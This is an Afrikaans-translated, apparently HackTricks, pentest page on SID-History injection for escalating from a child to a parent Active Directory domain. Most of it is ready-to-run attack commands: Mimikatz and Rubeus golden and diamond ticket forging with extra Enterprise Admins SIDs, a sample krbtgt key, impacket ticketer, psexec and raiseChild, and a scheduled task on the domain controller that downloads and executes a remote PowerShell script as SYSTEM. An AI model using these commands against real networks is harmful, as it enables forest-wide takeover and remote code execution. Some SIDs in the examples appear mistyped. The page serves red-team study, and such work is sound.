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126 lines
6.1 KiB
Markdown
126 lines
6.1 KiB
Markdown
# SID-History Inspuiting
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{{#include ../../banners/hacktricks-training.md}}
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## SID History Inspuiting Aanval
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Die fokus van die **SID History Inspuiting Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouerdomein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouerdomein.
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Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n **Golden Ticket** of 'n **Diamond Ticket**.
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Om die SID vir die **"Enterprise Admins"** groep te bepaal, moet 'n mens eers die SID van die worteldomein vind. Na identifikasie kan die Enterprise Admins groep SID gebou word deur `-519` by die worteldomein se SID te voeg. Byvoorbeeld, as die worteldomein SID `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
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Jy kan ook die **Domain Admins** groepe gebruik, wat eindig op **512**.
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'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
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```powershell
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Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
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```
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### Goue Kaart (Mimikatz) met KRBTGT-AES256
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```bash
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mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
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/sid is the current domain SID.
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/sids is the SID of the target group to add ourselves to.
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/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
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/endin sets the expiry date for the ticket to 60 mins.
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/renewmax sets how long the ticket can be valid for if renewed.
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# The previous command will generate a file called ticket.kirbi
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# Just loading you can perform a dcsync attack agains the domain
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```
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Vir meer inligting oor goue kaartjies, kyk:
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{{#ref}}
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golden-ticket.md
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{{#endref}}
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### Diamantkaartjie (Rubeus + KRBTGT-AES256)
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```powershell
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# Use the /sids param
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Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
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Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
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# You can use "Administrator" as username or any other string
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```
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Vir meer inligting oor diamantkaartjies, kyk:
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{{#ref}}
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diamond-ticket.md
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{{#endref}}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
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ls \\mcorp-dc.moneycorp.local\c$
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```
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Verhoog na DA van wortel of Enterprise admin deur die KRBTGT-hash van die gecompromitteerde domein:
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```bash
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Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
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```
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Met die verkregen toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
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{{#ref}}
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dcsync.md
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{{#endref}}
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### Van linux
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#### Handmatig met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
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```bash
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# This is for an attack from child to root domain
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# Get child domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
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# Get root domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
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# Generate golden ticket
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ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
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# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
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# JUST USE THE SAME USERNAME IN THE NEXT STEPS
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# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
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psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
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```
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#### Outomaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
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Dit is 'n Impacket-skrip wat **outomaties die opgradering van kind- na ouer-domein** sal uitvoer. Die skrip benodig:
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- Teiken-domeinbeheerder
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- Kredensies vir 'n admin-gebruiker in die kind-domein
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Die vloei is:
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- Verkry die SID vir die Enterprise Admins-groep van die ouer-domein
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- Herwin die hash vir die KRBTGT-rekening in die kind-domein
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- Skep 'n Golden Ticket
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- Meld aan by die ouer-domein
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- Herwin kredensies vir die Administrator-rekening in die ouer-domein
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- As die `target-exec` skakel gespesifiseer is, verifieer dit by die ouer-domein se Domeinbeheerder via Psexec.
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```bash
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raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
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```
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## Verwysings
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- [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
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- [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
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{{#include ../../banners/hacktricks-training.md}}
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